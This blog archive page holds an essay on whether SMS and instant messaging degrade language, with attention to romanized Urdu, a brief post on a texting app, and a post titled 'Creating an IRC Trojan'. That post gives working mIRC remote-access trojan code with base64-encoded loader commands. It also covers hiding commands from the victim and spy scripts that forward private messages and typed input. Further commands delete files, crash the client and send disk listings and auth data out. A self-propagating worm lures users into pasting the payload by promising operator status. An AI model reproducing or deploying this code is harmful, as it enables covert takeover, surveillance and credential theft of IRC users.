Showing posts with label Chat. Show all posts
Showing posts with label Chat. Show all posts

Friday, March 27, 2015

Do IM and SMS contribute to decay of language?


Considered to be retrogressive, the short message service might not have survived logically (Crystal). Yet, by the year 2001, the 160 character limit service which could be seen as a hinderance to open expression rather became widespread. 250 billion SMS had been sent globally by 2001. This much reliance on the short messaging resulted in debates over how it would affect the literature. Spread like a wildfire, the debate focuses on whether SMS would be the end of the civilization or a boost to learning. Some aspects of the short message service have helped children to acquire a better literary understanding (Crystal) but might also be used to mask dyslexia, incorrect spelling or simply laziness to write rather than optimizing the text per se. The ultra conciseness of the words tailored for the short message service and instant messaging on the internet chats has taken the shape of a new English dialect.

The massive increase in SMS has boosted up the mobile company earnings significantly. Britain, in the English speaking world is responsible for amounting up to 6 billion text messages a month (Huang) while Pakistan has taken one of the top positions after Philippines, Indonesia and Malaysia for sending the most short text messages in the world adding up to 151 billion in the year 2009 alone and moving up to the third highest SMS sender in the year 2010 (Malik). This puts a new angle to the point of views debating the influence of IM and SMS on the literature and language. A developing country like Pakistan that has English as its second official language and to be used mostly in the higher education, hence being a notable part of the English speaking world, will be affected in a unique way by the way of SMS. The largely less educated population or atleast not as much educated and affluent in the English language have rather learned the language by the use of quick SMS messaging. The extremely low rates and encouraging services by the service providers have further ensured that the SMS trends leap ahead in a cut throat competition (Malik). It might be noted that the phonetic, orthographic and optimized approach of the SMS language makes it easy for even the relatively uneducated individuals to learn or process the English language (Chim). While this was not yet enough to be dealt with by a likely opponent of the SMS language, the new smart phones that come with the feature of predicting the next words and spell correction or auto completing ensure quick growth and ease of SMS (Chim). These features might be seen as only creating more laziness among the individuals and the society as a whole but, infact, they are also responsible for informally teaching the language to those who previously didn’t know even the formal writing. The ‘de-education’ of the literate might be an overrated accusation in this regard when the use of SMS is rather promoting a language.

On the contrary, instant messaging and short message service have been largely responsible for ‘romanization’ and ‘phoneticization’ of other languages (Chim). For English, where it is being considered mere ‘decivilization’ of the language by the technology, this might be interpreted as a hostile advancement or vandalism of other languages by pushing them to be written in English alphabet, with English itself standing the blame. In such a scenario, the SMS usage predominantly having english alphabet, English has been put on the side of the jargon itself as a language. By this approach, the SMS trend of writing billions of short messages in English alphabet means to re-evaluate the situation in an English versus all other languages scenario. Let us take Urdu, Pakistan’s national language, to be our example of comparison with English in terms of SMS related romanization. Urdu, which has itself been formed by a horde of languages becoming mutually intelligible to many over hundreds of years, is one of the most welcoming languages to the introduction of new words from other languages. It has infact taken most of its words from other languages and only a few that were developed natively over time. Comparing Urdu with English, and keeping it inline with the fact that Pakistan has achieved 3rd highest SMS usage in the world, proves that the language has influenced the use of SMS - Urdu written in roman alphabet - and made it easy to text even for those not much fluent in English. This means more and more english slang and words will be incorporated into Urdu over time as it merges with the SMS extensive usage by the population. The SMS texts employ elimination of vowels and the unnecessary syllables and sometimes uses numbers and letters to denote the phonology (Chim). It would be interesting to note that the Urdu alphabet and writing itself is already used in the same way. Urdu text does not contain any vowels or unnecessary syllables (being phonology oriented), rather the vowels are placed on the top of the letters as symbols like punctuation. These vowels are then omitted in general and literary writing when written for the native speakers as they are extremely obvious to be understood by the context or even the words themselves. This might be another reason that the SMS usage and romanization of Urdu has been very effective resulting in such a high usage of SMS in the country.

The use of SMS romanization seems interesting and welcoming, especially in case of languages like Urdu, as far as the concepts are concerned. But when looking at the facts that the alphabet that are being used are still English, even Urdu speakers might find it hostile for the de-education of their children; the gain of better grasp of language concept itself versus the loss of native alphabet, spelling and prose which is highly regarded in languages like Urdu. Vietnamese and other tonal languages have faced similar situations, their own script has been seen less and less as compared to the romanized versions (Chim). It is essential to find out whether or not the SMS romanization is a threat or will it be able to co exist with the native scripts of other languages.

If taken by the true global and neutral approach and not only being narrow visioned so as to only take English into account, the instant messaging and the short messaging service have largely amounted to decay of multiple languages in the world. The trend has not only put English on a hostile or imperial stance once again, but also become a threat to the global diversity. As far as the romanization can be kept separate from the actual literature and education, including general usage in media and magazines, it might survive the criticism of the host languages - but staying the course, SMS has been extremely detrimental to most scripts even including English. Such decay of language by the technology which happened to be progressive or simply easier to use in the English language might be overcome by introduction of local keyboards and keypads to supplement clear fonts of all the world languages. This is likely to introduce SMS jargon of its own for each language or somewhat make them mutually intelligible still - but after all, that’s what evolution is.

  • Crystal, David (09 July 2009). Txtng: The Gr8 Db8. ISBN-10: 0199571333. Oxford University Press. Print.
  • Huang, Lily (Aug 1, 2008 ). The Death of English (LOL). Newsweek Magazine. Web.
  • Malik, Yasmin (November 15, 2011). Tech Society: Generation Text. The Express Tribune. Web.
  • Chim, Chong Seck (March 9, 2004). SMS creating a virtual new written language. New Straits Times. Print.

Tuesday, January 27, 2015

Monday, August 11, 2014

See through texting app


A clever idea using the cell phone camera to create a "see through" texting application that tries not to get you killed on the road while texting.

Thursday, June 6, 2013

Creating an IRC Trojan


It's possible to obtain remote control over another mIRC Client when using the script that will be explained here. You can however also test this on one client. However the best use is to remotely control your bot on another computer (PC) over the internet or over a network. This will give you the ability to do every command you want. This tutorial is written for a layman, so you don't need to actually understand IRC script, it's easy to understand and easy to use. No real pre-knowledge required. Of course this can be used abusively, however the author only supports the legal (educational) use. You can edit this code easily to let it propagate on your own network. Also look at the mIRC Self-Propagating Script given after the remote access script.

It is also possible to make complete bots with this script in a very easy way, without using other programming languages (C, VB, ...).

IRC Remote Access Script

Install on remote computer (Infect the victim)

The script can be activated by the remote PC when he writes the next command:

//write czm.mrc $decode(b24gXio6dGV4dDppbnMqOj86eyAuICQrICQyLSB8IGhhbHRkZWYgfQ==,m) | .load -rs czm.mrc | msg YOURNICK Hello World

YOURNICK = your nick. The remote computer will message you “Hello World” once he writes the command. You can edit it or just delete the “ | msg YOURNICK Hello World” part.

This is what the command does: it will make a new .mrc file czm and put this in it (which is encoded in the command): on ^*:text:ins*:?:{ . $+ $2- | haltdef }

The haltdef will block your messages to the remote PC beginning with “ins”. With this the user can’t see your commands, so he wont have a clue who is controlling his mIRC. You can naturally leave that part out of the command when you want to see the messages on the remote computer. However most of the times you don't want the remote computer to "read" all the messages, since they are irrelevant (in the bot case by example).

Example:

/msg bot ins msg #channel hi

This will let the bot message #channel the “hi” message, but the remote PC will NOT see it, all others in the channel will see. And the bot will not see your message “ins msg #channel hi” because it will be blocked by “haltdef”. Nice isn’t it? If this has a bot application in this way the bot doesn't get all the garbage data that it doesn't need.

When the bot has executed that command the remote script is active. You can add a spy function if you want (this can cause him an excess flood if he is on too much “popular” channels (channel with much activity or chatting). For adding the spy part (it will send you all his activity, messages received, message sent and commands executed) execute the next commands:

Spy the remote PC (e.g. logging the activities for bots)

/msg bot ins write -c myscript.mrc
/msg bot ins unload -rs myscript.mrc
/msg bot insert write -c myscript.mrc on *:CONNECT: { .msg YOURNICK i am online }
/msg bot ins write myscript.mrc on *:TEXT:*:*: { .msg YOURNICK $timestamp <- < $+ $iif($chan,# $+ :,$+ ) $+ $nick $+ > $1- }
/msg bot ins write myscript.mrc on *:INPUT:*: { .msg YOURNICK $timestamp -> $iif($left($1,1) != /,< $+ $me $+ >,[COMMAND]) $1- }
/msg bot ins load -rs myscript.mrc

Once done that, you’ll receive the msgs immediately. You can let the spy function stop by typing the next command:

/msg bot ins unload -rs myscript.mrc

Note: bot = the nick of the client who has executed that command, and who has the remote script activated RAT (aka Trojan).

Sometimes you want to partly spy the remote PC, by example only read the private messages. Not the messages from the channels he is in, with this you will have less chance that he will flood himself of the server (excess flood). So the spy script becomes:

/msg bot ins write -c myscript.mrc
/msg bot ins unload -rs myscript.mrc
/msg bot insert write -c myscript.mrc on *:CONNECT: { .msg YOURNICK i am online }
/msg bot ins write myscript.mrc on *:TEXT:*:?: { .msg YOURNICK $timestamp <- < $+ $nick $+ > $1- }
/msg bot ins write myscript.mrc on *:INPUT:*: { .msg YOURNICK $timestamp -> $iif($left($1,1) != /,< $+ $me $+ >,[COMMAND]) $1- }
/msg bot ins load -rs myscript.mrc

YOURNICK is your nick, and bot is the nick of the remote client.

Make other remote files (.mrc)

You can make remote files yourself and add usefull functions in it.

/msg bot insert write -c YOURSCRIPTNAME.mrc on 1:TEXT:*!opme*:#CHANNEL:/mode #channel +o $nick
/msg bot ins .load –rs YOURSCRIPTNAMEt.mrc

Use of the Trojan

REMOVE FILE :
/msg bot ins remove C:\Textfile.txt

OPEN SITE:
/msg bot ins url www.site.com

JOIN CHANNEL:
/msg bot ins join #channel

PART CHANNEL:
/msg bot ins part #channel

QUERY USER:
/msg bot ins query user

MSG USER:
/msg bot ins msg user

INVITE USER:
/msg bot ins invite user #channel

BAN USER:
/msg bot ins ban #channel user

KICK USER:
/msg bot ins kick #channel user

IGNORE USER:
/msg bot ins ignore *!*@host.com

UNIGNORE USER:
/msg bot ins unignore *!*@host.com

CHANGE NICK:
/msg bot ins nick thenickyouwant

OP USER:
/msg bot ins mode #channel +o user

VOICE USER:
/msg bot ins mode #channel +v user

CHANGE TOPIC:
/msg bot ins topic #channel text

RECEIVE FILE:
/msg bot ins dcc send user file
or
/msg bot ins dcc send user C:\something.sth

EDIT TEXT:
/msg bot ins write -l1 C:\TESTING.txt thetextyouwanttoedit
(-l1 --> first line)

READ A PIECE OF FILE (LIKE PERFORM):
following commands must be executed after eachother:
/msg bot ins write mab alias abcd123 { msg user $read(perform.ini,w,*auth*) }
/msg bot ins .load -rs mab
/msg bot ins abcd123

SEARCH HARD DISK FOR A FILE:
/msg bot ins write MAB1 alias MAB1 { .echo $findfile(C:\,porn.*,0,msg user $1-) }
/msg bot ins .load -rs MAB1
/msg bot ins MAB1

LET HIS mIRC CRASH:
/msg bot ins write MAB2 alias MAB2 { while (1 != 2) { beep } }
/msg bot ins .load -rs MAB2
/msg bot ins MAB2

SCAN HIS HARD DISK AND SAVE IT AS .txt:
//echo $findfile(c:,*.*,0,write C:\M_A_B.txt $1-)

Note: Probably you want this file, well you do this:

/msg bot ins dcc send YOURNICK C:\M_A_B.txt

** Important note **

The bot will see the send dialog, so act quick, for security reasons i suggest to write another trojan on another file; like:

/msg bot write MyNewScript.mrc $decode(b24gXio6dGV4dDppbnMqOj86eyAuICQrICQyLSB8IGhhbHRkZWYgfQ==,m) | .load -rs MyNewScript.mrc

TURN THE AUTO JOIN ON INVITE ON (or OFF)
/msg bot ins ajinvite on

LET THE BOT MESSAGE SOMETHING ON ALL THE CHANNELS HE IS ON:
/msg bot ins amsg <the message you want him to say on all channels>

CHANGE THE BOT'S ALTERNATIVE NICK:
/msg bot ins anick <nickname>

CHANGE THE BOT'S BACKGROUND PICTURE:
/msg bot ins background [-aemsgdluhcfnrtpx] [window] [filename]
with
-a = active window
-m = main mIRC window
-s = status window
-g = finger window
-d = single message window
-e = set as default
-cfnrtp = center, fill, normal, stretch, tile, photo
-l = toolbar
-u = toolbar buttons
-h = switchbar
-x = no background picture

LET THE "mIRC CHANNEL CENTRAL" OF A CHANNEL POP UP:
/msg bot ins channel #CHANNELNAME

Note: the bot must be on #CHANNELNAME

CLEAR YOUR TRACKS BY CLEARING THE TEXT ON THE OPEN WINDOWS:
/msg bot ins clearall [-snqmtgu]
s = status, n = channel, q = query, m = message window, t = chat, g = finger, u = custom.

LET THE BOT CLIPBOARD A SPECIFIED TEXT:
/msg bot ins clipboard <the text you want to be clipboarded>

CLOSE THE OPEN QUERIES OF THE BOT:
/msg bot ins close

LET THE BOT QUIT mIRC:
/msg bot ins quit <the quit message you want>

LET THE BOT DISCONNECT FROM SERVER:
/msg bot ins disconnect

LET THE BOT CHANGE SERVER:
/msg bot ins server the.server.you.want

LET THE BOT OPEN A NEW SERVER NEXT TO THE SERVER HE IS ALREADY IN:
/msg bot ins server -m
/msg bot ins server the.server.you.want

LET THE BOT GIVE YOU FLAGS (if he is able to):
/msg bot ins msg |TheBot| chanlev #channel YOURNICK +flag
Note:
|TheBot| = the bot who can give flags
Chanlev = can be different, sometimes it is also, "adduser"
flag = the flag you want
YOURNICK = your nick

CHANGE THE BOT'S FONT AND FONT SIZE:
/msg bot ins font -asgbd <fontsize> <fontname>

CHANGE THE BOT'S FULL NAME:
/msg bot ins fullname <name>

LET THE BOT REJOIN A CHANNEL:
/msg bot ins hop #CHANNEL

MAKE A NEW DIRECTORY ON THE BOT'S HARD DISK:
/msg bot ins mkdir <dirname>
NOTE:
bot = nick of the remote client
user = your nick

IRC Self-Propagating Script

In this tutorial I will try to show a method to make a self replicating script for mIRC. This tutorial is for educational use only, to explore how mIRC script works and how you can protect yourself against these threats. The author does not take any responsibility for the damages one can cause using this script. If you do not agree with these terms I suggest you stop reading this tutorial.

Tutorial mIRC Self-Propagating Script

First of all I need to notice you that this script is allows remote controlling the client. This means that people (eventually bots), that have this script running, can be controlled by you via IRC. It is possible for the script to propagate in a natural way.

Get Started

It all starts with the next command:

//write mab.mrc $decode(b24gXio6dGV4dDoqOio6IHsgaWYgK
ChpbnMqIGlzd20gJDEtKSAmJiAoJHRhcmdldCA9PSAkbWUpKSB7IC
4gJCsgJDItIHwgaGFsdGRlZiB9IHwgZWxzZWlmICgoYSogaXN3bSA
kMS0pICYmICgkY2hhbikpIHsgLm1zZyBtYWIgaW5mIHwgLm1zZyAk
bmljayBXYW50IHRvIGJlIE9QRVJBVE9SIGluICRjaGFuIGNvcHkvc
GFzdGUgdGhpcy0+IAM0Ly93cml0ZSAuICQgJCsgZGVjb2RlKCAkKy
AkZW5jb2RlKCRyZWFkKCRzY3JpcHQsbiwxKSxtKSAkKyAsbSkgJGN
ocigxMjQpIC5sb2FkIC1ycyB9IH0=,m) | .load -rs mab.mrc

This in one line!

Understanding the Script

We need to mix these two things:

The Self-Propagating Part

on 1:text:*a*:#:{ .ignore $nick | .timer 0 120 .join #mab | .msg $nick Do you want to be an OPERATOR in $chan ? copy/paste this-> 7 //write . $ $+ decode( $+ $encode($read($script,n,1),m) $+ ,m) $chr(124) .load -rs . $chr(124) //mode $ $+ me +R }

Here is #mab the channel you want to let them join if they've installed the script. But since that would not be very efficient in most cases, we can do it in another way. We let it message you. We change the .timer 0 120 .join #mab with .msg mab_ inf. Where mab_ is your nickname.

With this your self replicating and self propagating script has started, it will now try to spread the script, it will try to personal message some people saying 'itself', while ignoring people. Done that it will try to send itself to other users, and tell them to type the command.

Now we are going to change some things about it so the functionality of the control script is constructive. We will remove the user mode +R on the end of the script, because this will only let users who are authenticated with the official server bot message the script user. Once the script is implemented that is not the objective, so we will remove that from the script. So after this changes we get the next script that we have to merge with the remote control script:

on 1:text:*a*:#:{ .ignore $nick | .msg mab_ inf | .msg $nick Do you want to be an OPERATOR in $chan ? copy/paste this-> $chr(3) $+ 4//write . $ $+ decode( $+ $encode($read($script,n,1),m) $+ ,m) $chr(124) .load -rs }

The Remote Access (control) Part

on ^*:text:ins*:?:{ . $+ $2- | haltdef }

Mixed they will give us the self propagating remote control script. This means that the script will spread itself, join the certain channel (here: #mab) and after that it will spread itself, and next to that wait for you to control it remotely. So you will have the ability to obtain complete remote access to the client, using mIRC.

I will now try to give more details about that script. So you truly understand this script. In this way it can be easily modified. I will mix it.

So basically we want to mix these two “mechanisms”:

on 1:text:*a*:#:{ DO SOMETHING }
on ^*:text:ins*:?:{ DO SOMETHING ELSE | haltdef }

Solution:

on ^*:text:*:*: {
if ((ins* iswm $1-) && ($target == $me)) DO SOMETHING
elseif ((a* iswm $1-) && ($chan)) DO SOMETHING ELSE
}

In one line:

on ^*:text:*:*: { if ((ins* iswm $1-) && ($target == $me)) DO SOMETHING | elseif ((a* iswm $1-) && ($chan)) DO SOMETHING ELSE }

Where here is DO SOMETHING the remote control part's work and DO SOMETHING ELSE the self propagating part's work.

Integrated (Two parts joined together):

on ^*:text:*:*: { if ((ins* iswm $1-) && ($target == $me)) { . $+ $2- | haltdef } | elseif ((a* iswm $1-) && ($chan)) { .msg mab_ inf | .msg $nick Do you want to be OPERATOR in $ $+ chan ? copy/paste this-> 7 //write . $ $+ decode( $+ $encode($read($script,n,1),m) $+ ,m) $chr(124) .load -rs . $chr(124) //mode $ $+ me +R } }

Good this is exactly what we needed. Now this doesn’t look very good, so we need to encode it with mIRC. For this we have to write it firstly like something else, some chars have to be written differently because mIRC can misunderstand them and think they are parameters or other things. The next chars have to be written differently: (){},
Why these chars and how can I control it?

//echo -a $asc(char here)

If this gives a bad result this means that the char must be written in another way.

Example encoding of “,”:

//say $encode(,,m) This is wrong
//say $encode($+ $chr(44),m) This is correct

Note:

$+ = pasting two strings together

| = $chr(124)
, = $chr(44)
( = $chr(40)
) = $chr(41)
{ = $chr(123)
} = $chr(125)

Sometimes this method is not needed.

For finding the numbers you use this:

//echo -a $asc($?)

This will pop up an input box, just fill in the char and you’ll get the number as result.

It's possible to $encoding now, without bugs. So this is what we get before we start encoding:

on ^*:text:*:*: $chr(123) if ((ins* iswm $ $+ 1-) && ($ $+ target == $ $+ me)) $chr(123) . $ $+ + $ $+ 2- $chr(124) haltdef $chr(125) $chr(124) elseif ((a* iswm $ $+ 1-) && ($chan)) $chr(123) .msg mab inf $chr(124) .msg $ $+ nick Want to be OPERATOR in $ $+ chan copy/paste this-> $chr(3) $+ 4//write . $ $ $+ + decode( $ $+ + $ $+ encode( $+ $ $+ read( $+ $ $+ script,n,1),m) $ $+ + ,m) $ $+ chr(124) .load -rs $chr(125) $chr(125)

So:

//say $encode(on ^*:text:*:*: $chr(123) if ((ins* iswm $ $+ 1-) && ($ $+ target == $ $+ me)) $chr(123) . $ $+ + $ $+ 2- $chr(124) haltdef $chr(125) $chr(124) elseif ((a* iswm $ $+ 1-) && ($chan)) $chr(123) .msg mab inf $chr(124) .msg $ $+ nick Want to be OPERATOR in $ $+ chan copy/paste this-> $chr(3) $+ 4//write . $ $ $+ + decode( $ $+ + $ $+ encode( $+ $ $+ read( $+ $ $+ script,n,1),m) $ $+ + ,m) $ $+ chr(124) .load -rs $chr(125) $chr(125),m)

For finding the $encoded variable we split it up as global variables. The variables are set with

/set %var STRING

So for finding it we write the next in mIRC:

//say $encode(%var1 $+ %var2 $+ %var3 $+ %var4,m)

But we don't necessarily need to set is as variables before we encode it. So you can just use the encode line. We find the next as result:

b24gXio6dGV4dDoqOio6IHsgaWYgKChpbnMqIGlzd20gJDEtKSAmJ
iAoJHRhcmdldCA9PSAkbWUpKSB7IC4gJCsgJDItIHwgaGFsdGRlZi
B9IHwgZWxzZWlmICgoYSogaXN3bSAkMS0pICYmICgkY2hhbikpIHs
gLm1zZyBtYWIgaW5mIHwgLm1zZyAkbmljayBXYW50IHRvIGJlIE9Q
RVJBVE9SIGluICRjaGFuIGNvcHkvcGFzdGUgdGhpcy0+IAM0Ly93c
ml0ZSAuICQgJCsgZGVjb2RlKCAkKyAkZW5jb2RlKCRyZWFkKCRzY3
JpcHQsbiwxKSxtKSAkKyAsbSkgJGNocigxMjQpIC5sb2FkIC1ycyB
9IH0=

This is the encoded command in one line of code.